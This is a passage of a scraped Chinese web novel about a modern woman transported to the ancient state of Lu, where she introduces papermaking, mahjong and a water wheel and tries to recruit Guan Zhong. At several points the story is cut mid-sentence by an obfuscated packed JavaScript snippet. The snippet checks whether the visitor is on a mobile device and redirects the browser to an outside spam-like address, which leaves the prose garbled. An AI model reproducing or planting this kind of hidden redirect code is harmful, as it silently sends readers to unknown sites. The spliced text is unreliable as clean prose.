江雅指导任明首先把楮树皮、破布、破渔网之类的材料剪碎,放到加了白垩土(石灰)的水中浸泡一天,然后放到陶釜中煮烂,用石臼一直捣,再捞取纸浆铺帘,最后经过一天的烘晒、剪裁,终于得到了五张轻薄的麻纸。 这下自己的面子总算保住了吧! 江雅抄起一张纸,刚高兴没多久,又泛起了难——这光有纸,没笔没墨可咋整,看来还得把笔墨纸砚都造出来才行,不过自己那一手鬼画符般的书法,实在是上不得台面,这可怎么搞。 与垂头丧气的江雅不同,身后目瞪口呆地任明终于忍不住开口问道:“夫人,这几日的所见所闻,所作所为,实在是颠覆了任明以往三十几年的认知。” “虽然一直是您口头讲授,由我实操,而且每一步的原材料都是我亲手搜罗而来,每一步我也都看得懂,但最终的成品,实在是超乎了我的想象,”任明边说边拿起一张纸,“就这么些破树皮、烂渔网,然后鼓捣鼓捣,就做出了帛书一样的东西来了?” “任明之前听说了一些风言风语,对夫人其实一直是有些不齿的。就算后来您视察工地,与我们同甘共苦,但我也觉得这是上位者惯用笼络人心的手段。没想到,您竟懂得这么奥妙的学识,任明实在是佩服!”说着,一拜到底。 看着化身小迷弟的任明,江雅心里不由得暗爽,故作轻松地摆摆手,“这都是夫君梦中所授,要我以此来振兴鲁国,夫君他在黄泉之下,仍旧不忘故国,我等更要鞠躬尽瘁,以报社稷!” 任明一听,眼神不由得更加炽热。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自豪感爆棚的展禽并没有发现,一旁的江雅正拼命地挤眉弄眼使眼色,依旧自顾自地介绍道:“夫人发明的‘麻将’,一共有‘筒’‘条’‘万’三个花色,分别对应着‘天’‘地’‘人’;每个花色又有九种牌,每种牌四张,合起来一百零八张牌暗合天罡地煞之数,蕴藏阴阳之变;再加上夫人传授的‘卡下家,盯对家,防上家’心法,与治国齐家之道不谋而合,实乃君子必学之技!” 江雅无语,平时一本正经的展夫子,此刻竟化身带货达人,推销话术滔滔不绝。 周琼显然被深深吸引,立刻转向江雅,“夫人,能否让我领略一下?” “这,”江雅尴尬一笑,“些许玩物,难等大雅之堂,为了迎接王姬殿下,并不曾带在身边。” “这个无妨,我立即动身回国都,明日即可取来。” 为了宣示鲁国的优越感,展禽也是拼了。 “展夫子忠于国事,真可谓夙兴夜寐,兢兢业业呀!”看着这个铁憨憨,江雅终于忍不住出言嘲讽。 “王姬代表天子,又将与齐国联姻,我鲁国身为东道主,自然要隆重其事,使得宾至如归。” 江雅被气笑了,“如此,那就有劳展夫子了!” 在周琼期盼的眼神下,展禽拱手一礼,然后潇洒回首而去。 “王姬殿下,今日有些乏了,我就先回去歇息了。” “有劳夫人。” 13. 第十三章 麻将情谊 蝉鸣渐歇,阳光透过树叶的缝隙洒在庭院中,形成一片片光斑。江雅正坐在廊下,手中把玩着一枚小巧的玉石棋子,思绪却飘到了远处的宫殿深处。 “夫人,王姬请见。”小度匆匆走进庭院,打断了江雅的沉思。 靠!这小妮子真是烦人!比鲁同还要烦! 江雅恨恨地地回头,“可是展禽回来了?” “是,展大人刚到不久,王姬就来了,想必是派人在边上候着呢!需要请她进来吗?” “那还能怎么办,来都来了,躲得了初一,躲不过十五。” 小度闻言,转身便出了庭院。 不一会儿,周琼带着单伯走了进来,后面跟着展禽以及几个哼哧哼哧的卫士,江雅正待开口询问,展禽却率先开口:“夫人,王姬身份尊贵,我便把麻将桌椅一起带过来了,以便提升学习麻将时的舒适感。” “展大人可真是深谋远虑啊!”江雅简直无语,就是要让她坐着不舒服,赶紧回去,怎么着,难道还想决战到天亮啊! 江雅摆摆手,彻底不想搭理这个老六了。小度眼看气氛有点尴尬,连忙找一处树荫,张罗卫士们把桌椅摆好。 万事俱备,只欠东风。眼看东西都已摆好,江雅努力挤出一丝笑容,招呼王姬、单伯坐下。有外人在,小度毕竟是个下人,江雅只好让展禽作陪。 众人坐定,作为东道主以及“创始人”,说不得,江雅只好亲自再跟王姬和单伯介绍一下规则。王姬、单伯也不愧是周王室来的学霸,几圈下来,马上就领悟了,于是,正式开局。 江雅还是改不了边出牌边闲聊的习惯,“王姬远道而来,一路舟车劳顿,自然是要休息一阵,不过我们国君尚未下葬,王姬无需前去祭拜吗?九万!” 正在理牌的周琼闻言一顿,不由抬起头与单伯面面相觑。 展禽赶紧狠狠地咳嗽两声,“碰!三筒!”然后冲江雅使了一个眼色。 嘿!没想到这个榆木疙瘩也会使眼色! 江雅再怎么神经大条,也知道自己问错话了,低头捋了一下眉边的发丝,慌乱间竟然忘记了杠展禽的三筒。 周琼看出江雅尴尬,顺手摸牌,然后出言解围道:“今岁入夏以来,似已久未下雨,不知鲁国稼穑可好?六万!” “碰!”展禽碰牌的同时,顺势接过话头,“承蒙王姬挂念,今年春耕以后,国都境内就再未下雨,田亩全仗农夫人力汲水灌溉,但是毕竟地广人少,一时间照顾不到全部的田地,只怕今年收成堪忧。一筒!” “难怪,来的路上遇到一位老翁,为了抢救田里的庄稼而中暑,这可如何是好?七条。”周琼面露忧色。 “以往发生干旱是如何应对的?一万!”没想到周琼对老百姓这么有爱心,江雅不由得对她的看法稍有改变。 “碰!”展禽一边抽牌一边解释,“以往发生干旱,国君应素服退居别室,饮食降等,并进行大雩(yú)之祭。六条!” “杠!”打了半天,单伯终于进章,“依周礼,还要焚尪(wāng),以求上天怜悯。” “什么是尪?”江雅不解。 “尪是指天生残疾之人。”展禽解释道,语气中带着几分不忍,“他们因脊背弯曲、无法直立,头部被迫向后仰,使得面部自然向上倾。古人认为上天因为怜悯这些人的疾病,担心雨水灌入他们的鼻子,所以才不下雨,从而导致干旱。因此,为了求雨,就产生了焚烧尪的做法,希望以此来消除上天的顾虑,让上天降下雨。" 江雅闻言猛地拍案而起,桌上的麻将牌都被震得跳了起来:"荒谬!人家身体有残疾,本就应予以照顾,现在反而还要拿他去献祭求雨,这简直是毫无人性!" 周琼被江雅的激烈反应吓了一跳,手中的牌差点掉落。单伯连忙打圆场:“夫人息怒,这是古礼,从来如此。” “从来如此,便对么!"江雅怒不可遏。 周琼若有所思地看着江雅,轻声道:“夫人心系百姓,令人敬佩。其实…我也觉得这种祭祀太过残忍。” 单伯皱眉:“王姬,这是祖宗之法” "祖宗之法就一定是好的吗?"周琼反问,"若真要以人命祭天,为何不烧那些鱼肉百姓的贪官污吏或者尸位素餐的酒囊饭袋?" 江雅惊讶地看着这位柔弱的公主,没想到她年纪轻轻,竟然也有如此见地。两人目光相接,一种种惺惺相惜之感,悄然而生。 “夫人,”周琼忽然用炙热的眼神盯着江雅,“以你的聪明才智,想必应该有治旱良方吧。” 一时间,展禽、单伯都望向江雅。 江雅忽然沉默了,手指无意识地摩挲着麻将牌上的花纹。 如果接二连三地展示划时代的科学技术,不知道他们会不会把我当妖怪看,但是如果任由这些老封建去烧活人献祭,实在是惨无人道。自己不知道就算了,现在既然已经了解到了这种情况,如果撒手不管,实在是对不起多年来的高等教育。 罢罢罢!老娘好歹也是二十一世纪的白骨精,做事情前怕狼后怕虎的,简直是给广大穿越人士丢脸,这个Case老娘我接了。 “我确实有些想法!”江雅声音中透露着坚定。 周琼眼中闪过一丝惊讶,随即正色道:"还请夫人赐教。" “今年虽然干旱,但是泗水并未断流,我们可以利用河水来灌溉田地。” “可是夫人,我之前说了,人力毕竟有限,这样是无法灌溉全部田地的。”展禽不解。 “我…”江雅顿了顿,“夫君曾在梦中给我展示过一种筒车,可以轻松将低处的水引到高处,然后通过沟渠,就可以实现自动灌溉田地。” “筒车?” “没错!”江雅继续手舞足蹈地比划,“就是在河边架设一个大轮子,轮子上装着一圈竹筒。河水推动轮子转动时,竹筒会自动舀水,转到高处时水就会倒进沟渠里。” 单伯却皱起眉头:“夫人构思的确巧夺天工,但是如此精巧的机关,恐怕需要能工巧匠才能制作...” “这个不用担心,”江雅胸有成竹地说,“任明的手艺我清楚,他一定能做出来。” 展禽若有所思地点头:“若能成功,确实能大大缓解旱情。只是…” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这个容易,明天我让任明把它做出来,然后再请王姬过来指点一二。” “一言为定!” 看着周琼的马车远去,展禽走到江雅身边,低声道:“夫人似乎对王姬改观了。” “她和我想象的有点不一样,对了,”江雅不想再继续谈论王姬,“牌局开始的时候,你为什么阻止我问王姬祭拜夫君的事情。” “因为君上虽然是死于公子彭生之手,但却是齐侯授意。平王东迁以来,周王室日渐暗弱,早已不复武王昔日荣光。周王室无力追究也不敢追究齐国责任,现在更是促成王姬嫁齐,这本身已经体现对齐妥协。若王姬或单伯前去祭拜君上,等同于谴责齐国,与王室外交策略矛盾。” “而且太子正在守丧,姬挥、鲁庆在国都虎视眈眈,我们政局并不稳定,如若王姬、单伯来访重提君上之死,我们也是不便回应,故此,不论是周王室,还是我们鲁国,对此都是不提为妙。” 难怪都说玩政治的都是一些老奸巨猾的糟老头子,这里面的弯弯绕绕实在是太多了。 江雅摇了摇脑袋,“行了,天色不早了,你也早点休息吧。” 展禽拱手退下,江雅独自站在庭院中,夜风吹拂,她的衣袂轻轻飘动。 远处,隐约传来更夫的梆子声。 14. 第十四章 筒车与星空 流水潺潺,巨大的木轮在水流推动下缓缓转动,竹筒舀起的清水哗啦啦倾入导流槽,顺着新挖的沟渠流向龟裂的农田。阳光透过竹管的缝隙,在地面上投下斑驳的光影,水流声与远处的蛙鸣交织成夏日的乐章。 “夫人,水流过来了!真的自动流过来了!”任明激动地跑过来向江雅报信,身后的跟着一名老人。 江雅露出戏谑的笑容,“任大人,对你自己的手艺要有信心啊!还是说你对我的筒车仍然心存疑虑?” 任明顿时不好意思地站在原地,像被罚站的孩子。 “任大人,你这满脸通红,是跑地累着了啊?还是害臊啊?”眼见地江雅大展神威,小度也跟着神气起来。 我靠,小度居然也学坏了,不过,我喜欢。 江雅内心奸笑。 周琼俯身掬起一捧水,感受着河水的清凉,沉默不语。良久,她站起身来,拍了拍裙角沾上的泥土,望着远处欢呼的村民,眼睛忽然有点湿润,内心暗叹:若是周王室能有如此利国利民之器,何至于此…然后径直走向前,对着江雅郑重地一躬到底,“夫人造此筒车,惠及苍生,我代王兄、代天下百姓拜谢夫人!” 江雅连忙躲开,“王姬,可不敢当此大礼!”挥手示意单伯把周琼拉起来。 这时,任明身后的老人开口道:“夫人,我们村干旱许久,每日挑水灌溉庄稼不知累倒了多少青壮,现在有了筒车,那可就方便太多了。村里的老老少少都很高兴,想邀请你举行一个篝火晚会庆祝庆祝,你看可以吗?” “不可!”江雅刚想答应,却被展禽一口回绝,“太子率领诸位大夫尚在国都守丧,我们岂可举行庆典,这于礼不合!” 老人面露失望,但仍恭敬道:“是老夫考虑不周,夫人莫怪。” 江雅看着老人佝偻的背影,心里一阵发堵。 周琼却开口道:“展夫子,礼法是死的,人是活的。百姓们苦了这么久,如今好不容易有了活路,难道连笑一笑都不行?” 单伯拉了一下周琼,小声提醒道:“王姬,我们周王室本就日益暗弱,周礼乃是我们的治国之本,如果我们自己带头破坏,又怎能让诸侯信服。” “可是,你看看,”周琼边说边用手指向远方。 不远处,有位老农扑通一声跪在泥地里,粗糙的手掌接住流淌的清水,浑浊的泪水顺着皱纹纵横的脸颊滚落。他颤抖着将水捧到嘴边,干裂的嘴唇小心翼翼地触碰水面,仿佛在品尝最珍贵的琼浆。有一群小孩子捧着陶碗舀着水,在他身边奔跑嬉戏。 周琼环视场中,朗声接道:“久旱逢甘霖,可活人无数,况且这天未下雨,甘霖却从天而降,你又怎知不是上天授意夫人行此义举,以造福百姓呢?如今百姓欢欣鼓舞,理应祭祀以告上天,现在牲帛未具,举行一个篝火晚会以代又有何不可。尚书有言:‘民惟邦本,本固邦宁’,违背天意与民意,难道也是周礼所在?” “好!说得好!”江雅忍不住喝彩。所以说,还是要多读书,能打败魔法的只有魔法,对付这些封建顽固思想,还得是她们读书人。 眼见得江雅态度如此明显,展禽的脸色变了又变,最终长叹一声:“夫人既然坚持,那便...简办吧。只是不可饮酒,不可歌舞,只作劳作后的休憩。” 江雅正要点头,忽听一声冷笑传来:“好一个‘悲天悯人’!” 众人回头,只见鲁庆带着几名侍卫走了过来。 “拜见夫人,”鲁庆脸上虽然带着讥讽的笑容,但是礼数却是不失,拱手对江雅行了一礼,“夫人倒是心系百姓,却不知国都之中,太子正为君父守丧,食不重味,席不重茵。夫人却在此设宴作乐,传出去,怕是有损太子孝名。” 江雅的手指不自觉地攥紧了衣袖。她深吸一口气,正要反驳,周琼却先一步开口:“公子此言差矣。筒车引水,活人无数,正是告慰先君在天之灵的最好方式。先君若知鲁国百姓因此得救,想必欣慰不已。” 鲁庆眯起眼睛,目光在周琼身上停留片刻,又转向江雅:“王姬倒是会说话。不过…”他忽然压低声音,“夫人别忘了,你与太子的关系本就微妙。这般张扬,怕是不妥吧?” 江雅感到一阵寒意从脊背窜上来,但输人不输阵,对于越是恶心的人,就越要杠回去。她开口笑道:“多谢公子提醒。不过今夜只是村民劳作后的简单休憩,算不得宴会。若公子不放心,不如一同留下监督?” 鲁庆冷哼一声:“不必了。姬夫子命我率师讨伐馀丘以宣示国威,我还要赶回国都复命。”他意味深长地看了江雅一眼,“希望夫人...好自为之。” 待鲁庆走远,展禽把江雅拉到一边,忧心忡忡地低声道:“夫人,他必会向国都之人添油加醋…” "随他去。"江雅摆了摆手,“我自小教育太子,大丈夫须敢作敢当,身为娘亲,我当作表率。我更在意的是鲁庆率兵讨伐馀丘一事。” 江雅平时对于小事都是稀里糊涂,但枪杆子里出政权的道理还是知道的。 展禽分析道:“我们国君枉死于齐国,周边宵小不免沸腾,馀丘乃军事要冲,讨伐馀丘既可以震慑邾国、莒国,又可以向齐国展示实力,宣示国威,于公,确实无可挑剔,但是…” 他顿了顿,接着说道:“但是,太子乃是嗣君,必须留在国都守丧;鲁庆身为庶子,颇具才艺与威望,在此动荡之际,由他代替太子出征,最是合适不过。只是…” “只是鲁庆必然借机私募部曲,攫取军权,哼!姬挥真的是打的好算盘!竟然使出调虎离山之计,真是看得起我!” 江雅越想越气,却忽然又感到一阵疲惫袭来。群狼环伺,安得猛士守四方啊。她望着渐渐暗下来的天色,轻声道:"让大家简单用些饭食就散了吧。" 夜幕降临,村民们还是点燃了几处小火堆。烤粟米的香气在田间弥漫,孩童们小心翼翼地围着火堆,不敢像往日那样嬉戏打闹。 江雅在人群边缘坐着,手指不自觉地摩挲着一枚玉石棋子,脑海中不禁又浮起在殡宫与太子争吵的场景,不觉叹了口气。 “夫人为何独自在此?”周琼不知何时来到身侧,递过一串烤鱼,“筒车活人无数,该当庆贺才是。” 江雅接过烤鱼,苦笑道:“太子若知我违礼设宴,怕是又要与我心生嫌隙了”。她咬了一小口鱼肉,却觉得索然无味。 火光映照下,周琼的眸子闪烁着奇异的光彩:“可百姓会记得,是夫人的筒车让他们活过了这个旱年。”她指向远处,几个老妇正对着转动的筒车跪拜,口中念念有词,似在向先祖祷告。 “不说这个了,王姬今天关于周礼的论说很是新颖大胆,”江雅转过头看着周琼,“身为女子,且又如此年轻,竟能有这般见地,实在是令我佩服地五体投地。” “看来夫人平日对我也有些许嫌隙啊,”周琼狡黠一笑。 江雅不好意思地低下头,捋了捋头发。 夜风轻拂,远处泗水泛起粼粼波光,倒映着满天繁星。筒车转动的吱呀声与潺潺水声交织,仿佛天地间最温柔的絮语。几只萤火虫从草丛中翩然升起,在她们身畔萦绕飞舞,点点微光与篝火的余烬相映成趣,为这静谧的夜色添了几分灵动。 “夫人为何总是愁眉不展?”周琼突然问道。 江雅抓起一把草叶,任由它们在指间滑落:“我造得出筒车,却不知如何修复与太子的关系。”她的声音轻得几乎要被虫鸣淹没,“他恨我,觉得我害死了他父亲…” “我自幼跟随太史学习,自以饱读典籍,誓要挽周室之将倾,直到遇见夫人,”周琼忽然打破静谧,“直到遇见夫人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529938|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才知道平日所学,都是无济于事的空言。” 江雅一怔,抬头看她。 “夫人问我为何有此见地?”周琼唇角带着一丝苦涩的笑意,“因为我切身所受的束缚与不公,比夫人只多不少。女性同样参与耕地、纺织,付出辛劳甚至血汗,典籍却说妇人天职是相夫教子,仿佛我们生来只是为了辅助男子;我身为公室之女,看似尊贵,却不过是政治棋盘上的一枚筹码,被迫接受联姻。若在夫家积极主政,便会被斥责牝鸡司晨,干预外事;若心向娘家,又被夫家骂作吃里扒外,若不多为娘家谋利,母国之人又会指责我忘恩负义,是谓忘本!这其中的尺度,何其艰难,又何其不公!” 她的语气渐渐激动,眼中闪烁着江雅从未见过的火焰:“为什么?凭什么!治国、参政,这些事难道天生就刻在了男子的骨血里吗?非也!是因为他们垄断了权力,掌握了书写历史、定义规则的话语权!他们说女子柔弱,不堪大任,可妇好辅佐武丁,东征西讨,开疆拓土,奠定殷商中兴之基,其勇武韬略,岂逊于男子?近的来说,芮姜夫人,面对强秦威逼,能以铁腕逐不肖之子,以智谋保全宗国,其果决智慧,又让多少男子汗颜!” 江雅被这一连串的话语击中心神,不由坐直了身体。她来自现代,这些观念于她而言是常识,但在此刻的星空下,由一位春秋王姬亲口说出,却带着震耳欲聩的力量。 “反观那些被斥为祸水的女子,”周琼的语气带上讥讽,“苏妲己、褒姒…国势倾颓,罪责却皆由女子承担,仿佛那些昏聩暴虐的君主毫无过错。史书由胜利者书写,更是由男子书写,他们自然将功劳归于自身,将罪责推予他人,尤其是无法辩驳的女子。” 她看向江雅,目光灼灼:“男人果真比女人强吗?非是天生如此,是因为他们自幼便能接触典籍,学习权谋,参与政事,实践之中自然培养了相应的能力。如果我们女子也能自幼读书明理,接受六艺教育,涉猎政事军事,我们绝不会比他们差!” 夜风吹拂,篝火噼啪作响,周琼的话语却比火焰更炽热:“夫人造筒车,解万民之渴,靠的不是男子的庇护,不是家世的显赫,而是智慧与双手。这难道不比那些只会高谈周礼、却让百姓活活渴死的大夫们强?” “你造的筒车能救一地之民,你的造纸术若再能改变这世道对女子的禁锢,唤醒万千女子的才智与力量,所能成就的,又岂止是一国一地之繁荣?那将是真正的天下大同!” “总有一天,”周琼的声音带着一种近乎预言的力量,“治国理政,不应再是贵族的世袭特权,更不应只是男人的禁脔。应当唯才是举,无论出身,无论男女!让有能者居之,有德者掌之!” 江雅只觉得胸中一股郁气被这番话语彻底冲散,一种前所未有的清晰目标在脑海中逐渐成型。她之前的种种行为,更多是被动应对,为了自保,为了洗刷污名,甚至带着几分随波逐流的暴躁和玩闹。但此刻,王姬的话为她指明了一条路,一条不仅能让自己立足,更能真正改变点什么的路。 总说不能给广大穿越人士丢脸,我一个穿越人士,每天还是围着老公孩子转,早就知道舔狗不得好死,现在整天当孩子的舔狗,竟然还被一个古人给教育了,真是丢人丢到姥姥家了。 不过,知耻而后勇,老娘要开始爆发洪荒之力了。 “好一个王姬,” 江雅仰头望着星空,朗声说道,“你说得对。与其愁眉苦脸想怎么修复和太子的关系,不如想想怎么让鲁国富强;与其怕鲁庆搬弄是非,不如想想怎么让人不敢理他。你若盛开,花香自来!” 星空之下,两个女子的手紧紧握在一起,一个新的梦想,伴随着筒车的吱呀声和水流的潺潺声,在这片古老的土地上悄然生根发芽。江雅知道,她回不去的现代思想,终于在这里找到了最该燃烧的方向。 15. 第十五章 三顾茅庐 理想悬于星汉,璀璨却遥远。它既以神性的光芒牵引迷途的灵魂,又以魔鬼的低语诱人踏入泥沼。勇敢的追光者们,在仰望中挣扎,又在挣扎中仰望。但正是在这种永恒的撕裂中,人才得以触碰自己最悲壮的模样。或许,纵使最终沉沦,那道刻在追寻路上的血痕,比终点更接近永恒。 在经历了与王姬星空下的交流之后,我们可爱的江雅同学,也不自觉地踏入了泥沼。 俗话说,科学技术是第一生产力,但科学技术,又都是数理化知识的结晶。深感身单力薄的江雅决定先从教育家干起。 “小度!来,跟我念——‘一一得一,一二得二’!” 江雅挥舞着炭笔在削平的木板上奋笔疾书,眼神灼热得像要喷出火来。 小度苦着脸,结结巴巴地重复:“一、一得一……一、二得二……” “不对!是‘一一得一’!不是‘一、一得一’!”江雅抓狂地揉了揉头发,“再来!” 小度委屈巴巴地缩了缩脖子:“夫人,我、我真的记不住……” 江雅叹气,丢下炭笔:“算了,算了,女孩子一般都是文科生,怪我没想起这茬,那不教乘法口诀了,咱们改学拼音!” 小度:“……?” 经过一番千辛万苦的鼓捣之后,江雅又兴致勃勃地把小度拉到小木板前。 “啊、哦、鹅、衣、乌、鱼……” 江雅指着自己刚发明的“拼音表”,耐心地教小度发音。 小度努力模仿着奇怪的发音,一脸茫然,“夫人,这个‘鱼’为什么要念‘yu’?鱼不是鱼吗?” 江雅:“……” 又半个时辰,小度成功地用“b-a”拼出了“霸”,并认为这是指隔壁村欺负人的恶霸,完全无法理解这和“爸”有什么关系。 江雅看着歪头斜脑的小度,忍不住想起了那句名言:你们是我带过最差的一届。 一连几天,江雅陷入了某种疯狂的实验状态,在小度身上试验着她能想到的所有现代教育方法。可怜的小度被折腾得眼窝深陷,走路都在飘。 突然来拜访江雅的周琼,看到的就是这样一幅景象:江雅抓狂地挠着头发明新的“咒语”,而小度则眼神呆滞地在一旁机械复读。 “夫人,您到底想做什么啊?”小度终于忍不住了,揉着发胀的脑袋问道。 江雅叉腰,豪情万丈:“我要扫盲!我要普及教育!我要让鲁国的女子都能读书识字,让她们不再被男人蒙蔽!” 小度:“……可您连我都教不会。” 江雅:“……” “噗嗤!” 一声轻笑从门外传来。江雅转头,发现王姬周琼正倚在门框上,掩唇而笑。 “王姬!”江雅眼睛一亮,“你来得正好!快帮敲打敲打小度,一个最简单的拼音,教了这么多遍都还不会!” 小度如蒙大赦,连忙躲到周琼身后:“王姬救命!夫人已经折磨我三天了!” 周琼莞尔,轻轻拍了拍小度的肩膀:“你先下去吧。” 小度感激涕零,一溜烟跑了。 江雅摇摇头,“唉,朽木不可雕也!” 周琼走到她身旁坐下,笑道:“夫人志向远大是好的,但凡事不能急于求成。” “要做的事太多了,时不我待啊!” “那也总该有个轻重缓急,先来后到把。而且你这样事必躬亲,不说小度受不了,你自己也会累倒的。” “实在是分身乏术啊,恨不能像孙悟空一样,拔根头发,变出无数个分身来就好。” 周琼虽然有点惊奇孙悟空是谁,但还是指了指脑袋,劝道:“身居高位的人,要学会善于运用智力,任用人才,而非事事亲力亲为。” 江雅一愣,随即眼睛一亮:“对啊!我怎么没想到?二十一世纪什么最贵?” 周琼也愣住了,回到:“什么?” 江雅却是神采飞扬,“人才!” 画面一转,江雅来到一处馆驿前,一边来回踱步,一边嘴里碎碎念。 老弟你命中注定无法称霸,而且也命不久矣,不如把管仲让给我。 唉,不行不行,哪有见面就咒人死的啊? 老弟,你看管仲一表人才,借我玩两天。 啊呸,这我不成□□了么! 管仲,我看你骨骼清奇,是万中无一的治国奇才,维护天下和平的任务就靠你了,跟我大干一场吧! 呃,女神棍+女中二,真以为娇躯一震,管仲就能拜倒在自己的石榴裙下了? 江雅正烦闷间,门突然开了,姜纠带着管仲走了出来,正好迎面碰上江雅。 “夫人突然造访,不知有何要事。”虽然是在私下里,姜纠也并未姐弟相称。 “公子纠来鲁多日,不知吃住是否习惯?”江雅总算是没有发神经,随便寒暄道。 姜纠看着眼前这位名声复杂、行事更复杂的姐姐,眉头几不可察地蹙了一下,回道:“有劳夫人挂心,鲁国待客周到,一切安好。眼下鲁君正在停殡,夫人必是日夜操劳,不知玉体是否安康?” 江雅干应了两声,眼神却不自觉地往姜纠身后的管仲身上瞟。管仲垂眸而立,神色平静,仿佛只是姜纠身边一个再普通不过的随从。 “那个……其实……”江雅心一横,决定单刀直入,“今日冒昧前来,是久闻管先生大名,心中有些许困惑,想向管先生请教一二。” 这话一出,姜纠的脸色微微沉了下来。管仲倒是抬起了眼,目光清明而锐利。他拱手一礼:“夫人言重了。仲乃齐之一介布衣,不能绥国难,只得随侍公子客居鲁国,才疏识浅,恐难解夫人之惑。” 拒绝得干脆利落,还把姿态放得很低,点明了自己是“齐人”且是“公子纠的人”。 姜纠眼见气氛尴尬,开口道:“夫人若无要事,我们还要去拜会鲁国大夫,就先行告退了。”说完,拱手一礼便走了。 我本将心向明月,奈何明月照沟渠。不过,我是不会放弃滴! 第二天。 江雅带着好不容易从小度手里扣出来的冰镇酸梅汤,早早地来到馆驿。 正所谓礼多人不怪,伸手不打笑脸人,门童在请示了姜纠后,终于还是把江雅请了进去。 “夫人这是……”姜纠语气比昨日多了几分无奈。 江雅努力挤出最真诚的笑容:“昨日来得匆忙,未曾备礼,实在失礼。今日特备薄礼,前来谢罪。” “夫人言重了,你是来向管仲先生请教的吧,有什么疑问尽管问吧。” 姜纠看着眼前这位名声复杂、行事更复杂的姐姐,终于还是松了口。 江雅大喜过望,连忙开口问道:“如今鲁国君主初丧,百废待兴,该如何让百姓仓廪实、衣食足,还请先生不吝赐教。” 这话问得直接,甚至有些尖锐,直指鲁国当下的核心困境,完全不像是一个行驶跳脱的妇人能问出的问题。 姜纠眼中闪过一抹讶异,不由地重新打量了一下自己这位姐姐。 管仲的目光在姜纠脸上停留了片刻,得到肯定的回复后,他略一沉吟,缓缓开口道:“富民之要,在于顺民心、兴地利、通货财。轻徭薄赋,使民有时;鼓励耕织,尽地之利;修缮道路,降低关市之税,使商贾流通,万物汇聚。如此,民富而国自强。” 眼看管仲终于开口,她赶紧趁热打铁,追问:“先生高见!那……若欲强兵,又当如何?” 枪杆子里出政权,身为后来人,她自然知道窝囊的南宋那么富裕,却还是被外人摁着打。 管仲微微挑眉,看了姜纠一眼,见公子并无明显阻止之意,才谨慎答道:“兵不强于卒之勇怯,而强于国之制度。士农工商,分业而居,各安其位,则心定而力专。可作内政,将军事隐于民政之中,卒伍之人,世同居,少同游,故夜战声相闻,足以不乖;昼战目相见,足以相识。其欢欣足以相死。居同乐,行同和,死同哀。是故守则同固,战则同强。” 江雅听得大受震撼,一种不明觉厉的感觉油然而起。 道理我都懂,可臣妾做不到啊! 江雅按捺不住内心的渴望,最终还是开口问道:“听君一席话,胜读十年书。先生可愿来我鲁国,施展你治国平天下的抱负。” 姜纠眉毛抖了抖,脸色已经不太好看。 管仲却是躬身行了一礼,语气平淡却坚定:“夫人谬赞,管仲早已委质于公子纠,‘策名委质,贰乃辟也’,仲惟愿竭尽绵薄,助公子兴我齐国。鲁国之事,自有鲁国之才俊,非仲所能妄议。” 江雅嘴里一阵苦涩,她只是懒,并不是蠢,管仲这番话已经上升到人格的高度,再劝,就有点不识好歹了。 什么忠诚不事二主,烈女不侍二夫,哼,都是封建糟粕,死脑筋! 看着姜纠那明显送客的眼神,和管仲那礼貌却疏离的姿态,江雅知道再待下去也无益,只得讪讪告辞。 再次被拒绝的江雅,像只斗败了的公鸡,耷拉着脑袋,前所未有的气馁。宏大的理想撞上冰冷的现实,让她倍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529939|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感无力。 “王姬,陪我逛街散散心吧。” 江雅心情低落,拉着周琼去了集市。 古代的市集自然比不上现代的购物中心,但也人头攒动,叫卖声不绝于耳。江雅漫无目的地看着,忽然在一个摊位前停住了。 那摊主卖的是各种农具,其中一种木制农具引起了她的注意。那玩意儿像个大木叉,看起来十分笨重。 “这是什么?” “这是耒耜,是用来耕地的?”周琼有点奇怪,但还是解释了一下。 “这……这玩意也能耕地?”江雅惊奇地拿起一个,比划了一下,感觉效率低得令人发指。 一个念头瞬间闪过:为什么不把锄头做出来呢?找任明冶金!改进农具!这才是我目前能做的,提高生产力的正确方向啊! 正想着,一阵悲切的哭声传来。循声望去,只见一个衣衫褴褛的老人跪在地上,身旁插着草标,一个面黄肌瘦的小女孩瑟瑟发抖地躲在他身后。 “行行好……买下这孩子吧……只求两斗粟米,让家里人有条活路……今年旱了太久,实在活不下去了……”老人泣不成声。 “工正任明不是发明了筒车,可以自动灌溉土地吗?怎么旱情还会如此严重”江雅急了。 “唉,夫人发明的筒车,小老儿听说了,的确是好用。但是制作起来颇费人工,而且旷日持久,远水难解近渴啊。” 这一幕像根针,狠狠扎进了江雅心里。刚才还在想宏大的生产力,转眼就看到最赤裸的生存苦难。她鼻子一酸,回头喊道:“小度!” 小度自觉地递上钱袋。 